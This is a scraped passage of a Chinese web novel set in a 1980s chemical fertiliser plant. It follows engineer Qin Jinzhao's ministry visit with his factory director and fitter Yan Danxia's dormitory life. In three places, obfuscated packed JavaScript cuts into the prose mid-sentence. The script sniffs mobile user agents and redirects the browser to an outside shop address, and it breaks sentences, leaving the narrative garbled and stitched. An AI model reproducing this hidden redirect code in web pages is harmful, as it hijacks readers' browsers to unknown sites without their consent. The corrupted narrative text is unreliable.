还有拉着他诉苦,说自己一个人养全家,上有老下有小的,还有跟他抱怨厂里不公平,自己没有受到合理待遇,国家出的这个政策,就是针对于自己这类人的…… 想贿赂他的,秦今朝一概没接受,直跟人家说谢谢,说是好意心领了,跟他诉苦、抱怨的,他就耐心听着,但没给任何承诺。之后,以自己刚来不满三个月,不熟悉同事们的情况,没有投票的资格为由,放弃了投票权。 听说他放弃了投票权,刘海洋唉声叹气的,说:“还指望着你能投我一票呢。” 秦今朝从抽屉里拿出一小把,大概有十来块奶糖,避着其他人放到刘海洋的办公桌上,悄声说:“拿回去给孩子吃。” 从一些相处中,秦今朝猜测出刘海洋一把年纪了还是助理工程师的原因,那就是技术太差,他虽然职称上是助理工程师,但实际干的都是内勤的活儿,成为技术处的一个边缘人。虽然为人老实、勤快,又一直对秦今朝示好,但他深觉,以刘海洋的能力,有助理工程师的职位已经很不错了,如果把票投给他,岂不是对其他技术优越,对厂子贡献更大的人不公平? 所以,秦今朝这个初来乍到的,还是不趟这趟浑水为好。 刘海洋偷偷往奶糖上瞄了一眼,是燕市第一食品厂出的甜乳奶糖,这可是燕市才有的高档货,立刻用袖子盖着,兜进口袋里,感激地朝着秦今朝道了声谢,小声说:“孩子就爱吃奶糖,咱们厂里的购销店里老是缺货,就得去市里,市里那老远,去一回也不方便。” 秦今朝笑:“还是上次十一的时候从家里带来的,宿舍里还有一些,孩子吃完了我那里还有。” 海州市距离燕市不远,有直达的火车,4个多小时就到了,秦今朝十一放三天假的时候回去过一次,带了些燕市特产给技术处的同事,还有相熟的车间工人分食。 颜丹霞自然也被分到了,被分到了一小包果脯,一小包茯苓夹饼,当时觉得很不意思,自己跟人家没啥交情,也没帮人家什么忙,无端受了东西,受之有愧,不过看见别人都拿了,自己也只好收下。但心里头把人情记下来,想着有机会一定要还回去。 果脯和茯苓夹饼是燕市特产,颜丹霞吃得很珍惜,这会儿听着工友们嘈杂的议论声,一边偷偷将一块果脯塞进嘴里。 这次是维修车间内部会,由车间主任林玉峰传达厂里的决定,并组织投票。 厂里的这些规定啊,指示啊,都会在厂区各个公告栏里张贴,但一线工人,有耐心去阅读的少,费心思去理解的更少,所以每次厂里发文,都需要把工人们组织起来,一条条地解释清楚。 “都听明白了吗?有不清楚的举手问。” 从林玉峰一开始讲话,底下的就没有安静过,这会儿大家伙的讨论声越来越大,他不得不提高嗓门喊着。 “这有啥不明白的,不就是总共才给咱车间8个名额,让咱们不记名投票,票数最高的8个涨7块钱的工资嘛!”有人梗着脖子喊道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12298220|130781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 秦今朝忽地有些动容,他对这里有胆怯,却还是来了,不是为了自己,是为了海州厂,他纵然有很多做得不好的地方,但一心为厂这一点是毫无质疑的。 秦今朝朝他点头,说:“放心。” 他走向门口旁边传达室,传达室的窗户处探出个铁皮烟筒来,冒着灰白色,带着煤味的青烟。 他敲敲窗户,朝里面喊了声:“大爷!” 很快,传达室窗户大口,从里面探出个花白的脑袋来,一见秦今朝就笑,“真是你小子啊,我还以为听错了,你怎么忽然来了,今儿也不是周末啊。” 秦今朝笑,说:“我今儿是跟着我们厂长出差来的,找化肥司王司长的。” 门卫大爷往沙厂长的方向看了一眼,又转回到秦今朝身上,说:“好小子,行啊,这才去多长时间就跟领导出差了,我给你们开门,赶紧叫进来。” 秦今朝忙招呼着沙厂长进来,自觉地掏出介绍信、工作证,按照要求登记,跟门卫大爷介绍说:“大爷,这就是我们沙厂长。” 门卫大爷连忙伸出手,跟沙厂长握手,笑着说:“沙厂长您好,承您照顾了。” 俗话说,宰相门前七品官,在这种大衙门当门卫的,都不是一般角色,再瞧着这位大爷的精神气儿,就更加肯定了这种猜测,他何曾受过这种待遇?连忙伸手,跟大爷握了下,说:“应该的,小秦聪明,有技术,将来肯定能有大发展的。” 门卫大爷的与荣有焉挂在了脸上,附和着表示肯定。 秦今朝填写好信息,小声问门卫大爷,“化肥司王司长来了吗?也不知道他今天有没有事儿,我们没提前给他打电话,是贸然来的。” 沙厂长这次是来求人的,怕提前打电话,王司长会以各种原因不见他,索性就直接来,想着反正就在门口坐冷板凳呗,坐上两天,应该就会见他的。 “你等我给你打个电话。”门卫大爷说着,便返回到门卫室,不大一会儿出来,笑呵呵地跟秦今朝说:“你今儿运气不错,王司长上午没事儿,在办公室,快去吧。” 秦今朝脆生生地应了一声,拱拱手,说:“多谢您了”,而后靠在他身边,小声说:“我又让同事帮您寻摸土烟了,下次放假回来给您送家去。” 门卫大爷乐呵呵拍他肩膀,“行,我就等着了!” 三人沿着化工部大院中青砖蒲城的小路往办公楼走,郭亮忍不住好奇,问:“那位老人家,感觉挺不一般的。” 秦今朝笑,说:“自然,他是保卫处处长,打过日本鬼子,打过美帝的!在办公室里闲不住,经常跑出来在门卫这里待着。” 郭亮大吃一惊,心说,难怪领导每次过来这边,都小心翼翼的,这也太卧虎藏龙了!他之前随着领导来化工部述职时,见过几次这位门卫大爷,都是面目严肃得像个黑面包工。 沙厂长心里头也在诧异着,诧异之余,心里增添了一丝期望,没准这次所求真能办成呢,越发肯定带秦今朝过来的决定是正确的! 15. 第 15 章 化肥司的办公楼在副楼的二层,需得穿过主楼的门厅,一路上,秦今朝都在跟人打招呼,几乎都在重复着一样的话。 “呦,你怎么回来了?” “我跟着领导过来,去化肥司办点事儿。” “混得不错嘛。” “哪有,空了一块吃饭。” …… 郭亮跟在沙厂长身边,两人刻意退后两步,方便秦今朝跟同事们聊天。 郭亮忍不住小声跟沙厂长说:“他在这儿人缘真好。” 沙厂长点点头,看出来了。他整理了下大衣的衣领,正正胸前的党徽,理理头发,挺直腰板。 副楼的格局跟其他所有党政机关办公楼没有任何区别,到了二楼,沿着楼道走到最里面,拐角处的那个挂着木牌的房间就是司长办公室了。 秦今朝:“我先去秘书办公室,让通报一声。” 沙厂长:“我跟你一起去吧。”到了上级单位,自己这个一厂之长都没有排面,别说郭亮这个秘书了,一向都是他自己亲自去秘书室的。 他转头对紧张得不行的郭亮说:“你去楼下等我们吧。” 郭亮:“……那行。”他跟着沙厂长,也算是见过世面人,可到了部里就不由得紧张,他可太崇拜秦今朝了,到化工部就像回了老家一样,谁都认识,游刃有余。 他将印着海州大化厂的黑色革皮公文包递给沙厂长,踏着轻松的脚步下楼去了,那头的秦今朝跟沙厂长也先后进了秘书室。 秘书室里大概有五六位同志,有低头忙碌的,有朝门口张望的。 秦今朝对那位张望的人笑了下,问:“你好,我们是海州化工厂的,这位是沙厂长,专程从海州赶过来,想要跟王司长见了面,麻烦您给通报一下。” 有位刚刚低着头男同志恰在这会儿抬起头,看见了秦今朝,立刻站起来,“秦今朝,昨儿才听说你回来了,多谢你的糖葫芦!人没到,礼先到了!哈哈哈。” 秦今朝过去,跟他握了个手,“怎么样,味道不错吧?” “自然好吃,牙快冻掉了。你们是来找王司长的吧?等着,我去帮你们问问。” 年轻人揽了活计,自己出门左转,敲门进入王司长办公室,秦今朝和沙厂长也跟着出来,在办公室门口等着。 沙厂长再一次感慨,真是朝里有人好做官啊!以往觉得特别为难的事儿,秦今朝轻轻松松就给办成了。 过了一会儿,年轻人从司长办公室出来,朝着两人招招手,说:“司长叫你们进去。”又叮嘱道:“司长昨晚可能没有休息好,他一休息不好,脾气就有些暴躁,你们注意点。” “谢了!” 秦今朝转头问沙厂长:“您自己进去,还是我陪您进去。” 沙厂长竟然有些犹豫了,自然应该是自己进去的,秦今朝不管怎么说,也只是个入厂不久的新员工,还是技术处的工程师,跟自己要和王司长提的事情八竿子打不着,可是,从到燕市后,秦今朝的所作所为,让他不自觉产生了依赖性的心理,竟觉得由他陪着,自己心里头踏实。 “我自己进去就行,你在外面等我,和朋友们好好聊聊。”自己到底是一厂之长,活了将近五十岁,竟然对一个二十出头的毛头小伙子产生了依赖感,真是越活越回去了! 沙厂长自嘲地一笑,敲门进了司长办公室。 那位年轻人没走,见秦今朝没进去,便说:“去我办公室坐会儿?” 秦今朝:“不去了,别打扰你们上班。” 年轻人:“你在那怎么样啊?” 秦今朝:“还可以,比不上在部里生活条件好,但也还可以。” 年轻人:“袁秘,就是司长的秘书准备去下面厂里任职了,准备从我们中间找人接替他的职务,我是没戏。我见你们都下去了,想着要不要也去下去溜一圈。” 秦今朝:“下面可不比首都的条件好,你考虑清楚了,再跟父母商量好,如果下去了,再回来就有些难了,我是打定主意扎根基层,起码七八年之内不回来。” 两人你一言我一句地闲聊起来。 秦今朝一边聊天,一边关注着办公室那边的动静。 看看手表,沙厂长已经进去半个小时了。一般来说,聊的时间越长,办成事情的希望越大,他真心希望,沙厂长这次来,能所有收获。 但是,他大概要失望了。从司长办公室里走出来时,沙厂长脸色并不好,脸上的红血丝愈加明显,丧眉搭眼,肩膀耷拉着。 年轻人碰碰秦今朝的胳膊肘,“瞧着你领导没少挨呲,像是受打击了,你赶紧去吧,我回了,空了找我。” 秦今朝点头,跟他摆摆手,便朝着沙厂长迎上去。沙厂长朝他点了下头,没说话,两人沉默着走去楼下,一直等待着的郭亮见此情景也没敢多说。 回到招待所,沙厂长有些疲惫地在大厅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12298221|130781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处的椅子上坐下,才开口说:“这次,恐怕是要无功而返了。” 他回忆起刚刚王司长听说他是来争取会议举办地的,原本不太好的脸色愈加不好,批评道:“你是厂长,不专心搞生产,整天就想着这些事情,争取到去你们海州厂开会又如何?有那时间、精力不如多想想怎么技术创新,怎么搞好生产,怎么让全国的老百姓都用上化肥!” 沙广军被训得无地自容,要是有个地缝,他真想钻进去。 王司长批评得没错,这种事儿,按理说应该是书记管的事儿,他从老书记刘利民那里得到了消息,没有跟梅书记说,就自己过来了。梅书记想要抢他的权,搞得他事事掣肘,两人本就不是可以互相合作的关系。可想而知,梅书记要是知道了这事儿,不管能不能成,他都得把功劳抢过去。沙广军先闷声把事儿办成,给梅书记一个没脸。 好在王司长很快缓和了态度,没继续批评他,而是开始询问他海州厂的情况,见他有问有答,各项数据都很清楚,脸色便又好了些,温和了语调说:“这次大会,我跟部里的意见比较一致,都是倾向去西南地区召开。西南地区大化厂建设虽然比北部地区要晚一些,但是他们更加重视技术创新,最近正在进行的研究项目也和大会主题息息相关。” 沙广军将王司长这段话说给了秦今朝。 秦今朝若有所思,问:“大会的日期定了吗?” 沙广军,“预计在明年的三月份。” 时间还蛮充裕的,既然王司长是据此选择的大会地点,那么海州厂还是有机会的。秦今朝想,也许自己刚刚制定好的计划,就要有所调整了。 这倒像是专门为他准备的一次机遇,因为这件事儿,他预计自己申请立项,在沙厂长那边的成功率几乎可以达到百分之百。 只是,他的计划得提前了,起码这个装置能有个雏形,有了测试数据才好用来说服王司长,且在三月份开会之前,最好能在机器上实际应用上。 不过,他没着急在这里跟沙厂长说什么。 下午,郭亮和小罗陪同沙厂长去燕市的百货商店购物,秦今朝见没什么需要用到自己的地方了,便申请回家一趟,晚上就不回招待所住了。 沙厂长这会儿看他的目光慈爱了许多,说:“明天就是周六了,这样,给你放一天假,周一回去上班。” 秦今朝自然高兴,连忙道谢,便跟三人分开,各自往不同的方向走。 16. 第 16 章 中午下工,颜丹霞没去食堂打饭,而是直接回了宿舍,她今天来例假了,肚子有些坠坠的,不舒服,就想在床上躺着。她原本没有痛经的毛病,可能是几天前不小心将凉水洒在棉鞋上,把鞋溻湿,没有及时换鞋,有些着凉了。 有时候,她还是挺羡慕那些男性的,没有例假的烦恼,不用每个月都遭这几天的罪。不过,男同志们也有羡慕女同志的地方,比如每个月多拿的2毛钱卫生费,每次放工资都凑在一起嘀咕,为什么不给男同志发“抽烟费。” 还有独属于女性“三八”节,每到那一天,全厂女同志都有额外的福利,比如红糖啊,枕巾、床单之类的。 这都是国家对于广大妇女同志们的关爱,男同志们在先天上占了许多优势,又有传承了千年的男尊女卑思想作祟,国家就是通过这些实际行动将妇女“半边天”的位置夯实得深入人心。 她这个女同志也能成为车间的钳工,和男同志们同工同酬,也是妇女解放成果的一个实例。 回到宿舍,颜丹霞先沏了杯红糖水,又将早晨打的开水小心灌到玻璃输液瓶里,隔着秋衣,放在肚子上捂着。 然后用红糖水就着,拆开一包钙奶饼干,打开了一瓶肉罐头。 她是一个人吃饱了全家不饿,又有工资和外快,没有其他的花销,在吃穿上从不委屈自己。 等吃完喝完,她擦了嘴巴,仔细的漱口,又洗干净手上的油渍,这才躺上床,盖好被子,拿起机械制图那本书继续看。 屋里暖气烧得很热,但窗户却不甚保暖,冷风顺着缝隙不停地往里钻,导致屋子里的温度也就十七八度的样子,颜丹霞入冬后,花了三张一市斤的棉花票,在厂里的代销店买了三斤棉花,花了些钱,委托家属院专门做手工活的妇女给加工出了一条厚被子,再将原来的被子当个压脚的,相当暖和了,就是露出来的脑门、鼻子发凉。 这三张棉花票,一张是今年五四青年节,获得青年突击手时的奖励,一张是厂里技术大比武的一等奖奖励,另外一张是用煤球票跟人家换的。 不多一会儿,刘艳娟吃完饭回来了,鼻子灵得啊,不停地嗅着。 颜丹霞笑了笑,指指自己桌子上的罐头瓶,说:“还给你剩了几块,晚上吃吧。” “哎,谢了,正馋这一口呢!你也说奇怪不,食堂也有肉菜,可就是觉得肉罐头香!”她弯下腰去,嗅闻了下罐头的香气,没忍住,去自己的抽屉的铝饭盒里拿出一双筷子,夹了块肉放进嘴里,眯起眼睛,很享受地咀嚼着。 刘艳娟家在市里,每周周六晚上下班回去,周日下午做最后一班公交车回来,每次都会给颜丹霞带些家里做的好吃的,她不吝啬,颜丹霞对她也大方,两人虽然因着性格问题,不怎么玩得到一块,但相处得还是挺不错的。 “估计是放了香料吧。”颜丹霞随意地说着。 现如今的食物包括肉类,不像前些年那样短缺了,且大化厂又与农业、农户们息息相关的,多少县乡巴望着能买到海州化肥厂出品的“雄狮”牌化肥,哪个厂子缺少食物,大化厂也不会缺,所以海州厂食堂的伙食相当不错,每餐都是有荤有素。 只是,再好吃的东西,天天吃也会吃腻的,但肉罐头价格偏高,是不需要票的议价商品,属于比较稀罕的食物,这么一对比,便觉肉罐头更好吃了。 刘艳娟吃完肉块,擦了下嘴角,瞄着颜丹霞手里的书,真不明白这本书有什么好看的,日看夜看,爱不释手,简直比学校里的学生们还要认真,不过她也没去褒贬别人的爱好,就像她爱看《大众电影》一样,爱看唐强演的电影一样。 跟颜丹霞住一屋这么久了,一开始觉得这个姐姐有些怪怪的,跟别的女同志不一样,相处起来发现她这人卫生习惯非常好,说话轻声细语,做什么事情都轻手轻脚,不会影响别人休息,事儿特少,不小心眼,不斤斤计较,从不占人便宜,受人恩惠,便想着要还回来。 她将厚厚的防寒服和裤子脱了,穿着毛衣毛裤钻进被窝里。 中午12点下班,下午两点半上班,中午有两个半小时的休息时间,刨除掉吃饭、走路的时间,中午最少可以休息一个半小时。 刘艳娟从床铺底下翻出最新一期的《大众电影》看着。 因着5月份刊登接吻剧照的原因,虽然《大众电影》复刊了,但仍然备受争议。近期,有厂里领导在民主生活座谈会上,公开批评看《大众电影》的人,说这些人意志薄弱、思想不坚定,极容易被资本主义的糖衣炮弹迷惑云云。 搞得大家再也不敢明目张胆的看,为了谨慎起见,刘艳娟就将杂志藏在床铺底下,等看完了,周末带回去,珍藏在家里。 翻了几分钟杂志,刘艳娟就开始打哈欠,困得不行,在睡着之前,见颜丹霞还在看书。 等她一觉醒来,发现颜丹霞还在看书,只是换到了桌子那里,拿了钢笔和本子写写画画的。 她躺着没动,眷恋地在被窝里噌噌,打个哈欠,带着鼻音问:“你没睡午觉吗?” 颜丹霞回头看她一眼,说:“睡了,醒了。” 刘艳娟“哦”了一声。虽然跟颜丹霞同屋,但这位同屋每天的睡眠时间成谜,每天她睡觉的时候,对方还没睡,她醒来的时候,对方已经醒来很久。 颜丹霞睡眠时间短,但很少见她表现出困倦来,每天精神奕奕的,也不知道她的精神头打哪儿来,自己着一天天的,只有睡不够的。 “2点10分了,起来吧。”颜丹霞紧接着说。 对了,跟她同屋还有一个好处,就是不再担心会睡过头,尤其是午觉,踏实得很。 “哦,这就起!”刘艳娟掀开被子,开始往身上套衣服。 颜丹霞也站起来,兑了热水,投了毛巾,在脸上擦了一把,然后摸上雪花膏,脸、脖子、手都擦到位,又顺手理了下头发。睡觉的时候把绑在一起的两根辫子松开了,这会儿用手绢重新绑在一起就好。 刘艳娟瞧着她,忽然觉得,其实自己这位室友小日子过得一直挺精致的。 在宿舍好好休息了一中午,颜丹霞身体舒服了许多。临出门时,她又在袜子外面套上一双毛袜子。 这种毛袜子是用毛线织成的,跟毛衣一样,要是贴身穿的话,特别的扎人,隔着一层袜子最合适,厂里发的劳保棉鞋也宽松,多一双毛袜子也穿得下去。 维修车间里,虽然也有暖气,但架不住空间太大,且车间大门都是敞开着的,也就办公室里还比较暖和。但他们是维修工人,绝大部门时间都要在外面的维修大厅里工作的,颜丹霞在特殊时期,下身保暖挺重要的。 这么注意了三天,例假走了,颜丹霞这才拿了洗澡票,准备去工厂的澡堂子洗澡。 秋冬季节,每月每人发四张洗澡票,如果不够用的话,可以额外去总务处购买。也有工人用不了这么多,会私下来赠送或者售卖,用他们的话说,大冬天的,这么干,身上都不出油,一点都不脏,入冬洗一次,开春再洗一次足够了。 颜丹霞却是不行,就是秋冬干燥,她一星期至少也得洗两回澡。只是,洗完澡后,有个麻烦事儿,就是晾头发。 外面太冷,就这么出去,特别容易感冒,所以得在澡堂子里把头发晾干再出去。她往往都是坐在更衣室里,搬一条长条凳子到暖气边上,边看书,边用暖气烘烤着头发。但她的头发又多又长,一直到七八点钟,澡堂子快要关门的时候,都不能彻底干透,只能重新把头发打成辫子,然后带上帽子,围上厚厚的围巾出门。 她想着,是得把辫子剪掉了,长头发太耽误功夫! 可毕竟是从小养到大的头发,这些年,不过就是自己定期剪剪发梢,剪剪分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12298222|130781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叉,让它不至于长得太长,经常会有剪头发的念头,可始终也没下定决心。 她有时候也在想,不就是个头发吗?可是,一想到要剪头发,就觉得好似要割舍什么似的。 她亲人缘浅,母亲在她两岁多的时候就去世了,她没有任何关于母亲记忆,小时候,她经常会跟父亲问起母亲,父亲能回忆起来的好似也不多,总是重复地讲一件事,就是她刚出生的时候头发又黑又密,母亲高兴又骄傲,总说她长大了,要给她梳好看的头发,买花戴…… 或许,头发代表着对母亲的思念吧。 颜丹霞用网兜子装着洗脸盆、毛巾、香皂等洗漱用品,快步行走在回宿舍的路上。 这个时间,天已经黑透了,但厂区依然热闹,三班倒的车间里,灯火通明,灯光球场附近,一点点手电筒的光芒,像是萤火虫一般,有一群热爱文艺的年轻人,在那里举办“手电筒诗会”,身形并茂地朗诵着自己写的诗歌。 这些诗歌,要么歌颂青春,要么歌颂爱情,要么诉说心中的愤怒、不满、不甘、迷茫。不管水平如何,写得都比较隐晦,都怕惹上麻烦。 厂保卫科巡逻队,一行三人打着手电迎面走来,在颜丹霞身上照了照。 颜丹霞露出脸庞来,其中一人立刻将手电放下,笑着说:“是颜师傅啊。” 颜丹霞也笑了下,说:“是我。” 这人叫古树国,是保卫科的一名小组长,颜丹霞下班晚了的时候,经常会在厂区里遇见他。 古树国瞧了眼她手中提着的网兜子,就知道她去干啥了,叮嘱说:“最近咱们生活区那边有点不太平,出了盲流子,昨个把个出来上厕所的婶子给吓着了,颜师傅你小心点儿。” 颜丹霞应了一声,快步离开,远远地听见古树国跟那些年轻人们喊:“都啥点儿了?不冷啊?念啥念啊,再把牙给冻掉喽,赶紧地,都回宿舍烤暖气去!” 颜丹霞“噗”地笑了起来,古树国是隔壁市人,口音跟山塘县有些类似,语调滑稽、可爱,自带着幽默感,一张嘴就叫人想笑。 这人是退伍军人,家里给介绍了个对象是海州市的,转业的时候申请来了这边,非常幸运地被分配到了海州厂,不久之后,家属也被安置了,就在饮食店里做服务员,叫米英,是个很漂亮、利索的女同志,每次颜丹霞去吃饭,总是会多给一些,挺有好奇心的,不忙的时候会跟她搭话,问问她这个钳工平时都干些啥,一劲儿往她的胳膊上瞄,想知道这细胳膊细腿的,是怎么干成那些大老爷们的活计的。 因着她没有恶意,且是欣赏的,甚至有些崇拜的,颜丹霞便也很耐心地解答她的问题,一来二去的两人就熟悉了起来。 颜丹霞后来才知道这两人是两口子的,这两人都热心肠,热爱生活、热爱工作,很相配。 唯一不好的是,米英老想给她介绍对象,大概结了婚,生活幸福的女人总有这种爱好吧,总希望别人也能如她般幸福。 现在,颜丹霞对于相亲这事儿,挺抗拒的,这些年,她相亲次数没有十次,也得有八次了,总是遇不到合适的。 这些人里,有黄健这样,好见好散,当不成对象,当熟人的,但也有想要找她要个说法,觉得你凭啥觉得我不合适,我哪点儿不好,你得说出个一二三来的。 平添许多麻烦事儿。 一来二去的,她身上的标签除了技术好的女钳工,大龄单身未婚女同志外,又多加了个挑剔、眼光高。 听说,有人给她起外号叫“造粒塔”,取起高高在上,高不可攀之意。 颜丹霞不由得仰头往造粒塔的方向望去。 造粒塔依旧兢兢业业地工作着,安装在塔尖上的灯,电压有些不稳,一闪一闪的,像个灯塔。 她忽地就笑了,“造粒塔”有什么不好?被人仰望的感觉也挺好的。